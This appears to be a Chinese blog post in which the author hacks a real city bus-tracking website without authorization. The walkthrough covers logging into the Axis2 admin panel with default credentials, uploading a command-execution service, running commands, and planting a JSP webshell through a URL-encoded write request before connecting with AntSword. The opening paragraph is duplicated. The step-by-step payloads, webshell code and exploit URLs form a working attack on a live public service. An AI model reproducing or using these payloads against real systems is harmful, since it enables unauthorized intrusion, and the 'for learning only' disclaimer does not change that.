考驾照 顺便学习网络安全练习靶机!

仅供学习！ 切勿违法

前言：今天是我练习科目3的第三天，又是早上起床早早的去往驾校的路上，晚上回家是要做公交车回家的，
于是打开微信找到我们市的公众号，看下回家的公交车到哪里了…结果有了意图

如图：

今天看到了公交车查询的网站，于是进行一下渗透测试…

前言：今天是我练习科目3的第三天，又是早上起床早早的去往驾校的路上，晚上回家是要做公交车回家的，
于是打开微信找到我们市的公众号，看下回家的公交车到哪里了…结果有了意图

如图：

今天看到了公交车查询的网站，于是进行一下渗透测试…

jsp的网站比较老了，结果扫描目录发现，，找到了Axis2的后台地址：

url：http://www.xxxx.com/axis2/axis2-admin/

直接尝试默认账号 admin 密码 axis2 无意结果登陆进去了…

果然不堪一击…

实战当中可以读取/conf/axis2.xml 内容看一下账号密码

点击左侧Upload service 浏览上传一个webshell，axis2貌似只支持.arr的文件

我们找到，Cat.arr的这样一个文件（百度就有）

这个文件类似于中马也可以可以执行cmd命令也可以写入文件进去…

我们执行看一下

http://www.xxx.com/axis2/services/Cat/exec?cmd=whoami

权限还是很高的，接下来我们要做的就是获取classpath路径

http://www.xxx.com/axis2/services/Cat/getClassPathResponse

可以看到：/D:/tomcat8/webapps/axis2 网站路径 我们写文件的时候要用到的

接下来就是写文件，getshell

搞定jsp的的一句话：<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

需要转换为url编码，可以百度编码转换

编码转换之后看下面：

http://www.xxxx.com/axis2/services/Cat/writeStringToFile?data=%3c%25%20%69%66%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%66%22%29%21%3d%6e%75%6c%6c%29%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%4f%75%74%70%75%74%53%74%72%65%61%6d%28%61%70%70%6c%69%63%61%74%69%6f%6e%2e%67%65%74%52%65%61%6c%50%61%74%68%28%22%2f%2f%22%29%2b%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%66%22%29%29%29%2e%77%72%69%74%65%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%74%22%29%2e%67%65%74%42%79%74%65%73%28%29%29%3b%20%25%3e&file=/D:/tomcat8/webapps//axis2/1.jsp&encoding=utf-8&append=false

这样就写文件进去了，目录在 http://www.xxx.com/axis2/1.jsp

ok，接下来我们本地创建一个一个html，我们用本地jsp客户端连接

专用JSP木马连接器
服务端地址

你提交的代码
保存成的文件名：

• 写入我们jsp一句话，蚁剑连接…
  

OK，到这里不继续了，交洞跑路。

总结：

又是没什么可总结的，细节细节，多尝试，新手一枚，大佬多多指教，希望我的9号科目三顺利通过！！！